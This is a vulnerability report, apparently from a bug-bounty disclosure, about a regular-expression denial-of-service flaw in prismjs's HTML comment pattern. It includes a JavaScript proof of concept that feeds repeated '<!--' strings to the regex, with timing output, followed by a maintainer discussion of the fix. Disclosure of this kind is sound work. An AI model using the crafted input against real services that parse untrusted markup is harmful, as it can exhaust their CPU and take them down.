Inefficient Regular Expression Complexity in prismjs/prism
Reported on
Sep 11th 2021
✍️ Description
The prismjs
package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide a crafted HTML comment as input may cause an application to consume an excessive amount of CPU.
Below pinned line using vulnerable regex.
🕵️♂️ Proof of Concept
Reproducer where we’ve copied the relevant code: https://github.com/PrismJS/prism/blob/148c1eca2f1a8d76b62c8f11569e959faec59772/components/prism-markup.js#L2 Put the below in a poc.js file and run with node
var comment = /<!--[\s\S]*?-->/
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = ""+"<!--".repeat(i*10000)+"-"
comment.test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
Check the Output:
attack_str.length: 40001: 269 ms
attack_str.length: 80001: 866 ms
attack_str.length: 120001: 2125 ms
attack_str.length: 160001: 3600 ms
attack_str.length: 200001: 5356 ms
attack_str.length: 240001: 7972 ms
attack_str.length: 280001: 11320 ms
--
--
💥 Impact
This vulnerability is capable of exhausting system resources and leads to crashes.
Occurrences
SECURITY.md
2 years ago
Hello! Prism maintainer here.
I can confirm the quadratic worst-case runtime. Are there any suggestions on how to fix this?
@maintainer I have attached a patch already. Or you can find it here https://github.com/PrismJS/prism/commit/170b6ee56c1664c2a4d2ccfa4c72d84b7eb616bd
Sorry, I didn't see the patch.
While the patched regex (if corrected) does solve the quadratic worst-case, it also changes its behavior. I think that it's acceptable in this case but I don't think that it's a good general solution.
| Can I raise a PR to resolve this issue?
That would be great. Thank you!
However, please do use the correct regex <!--(?:(?!<!--)[\s\S])*?-->
(the one in the patch has its parentheses misplaced).
Prism also has a rather strange build process, so you have to rebuild Prism (npm ci && npm run build
) and commit the built files (should be components/prism-markup.min.js
and prism.js
).
@maintainer https://github.com/PrismJS/prism/pull/3078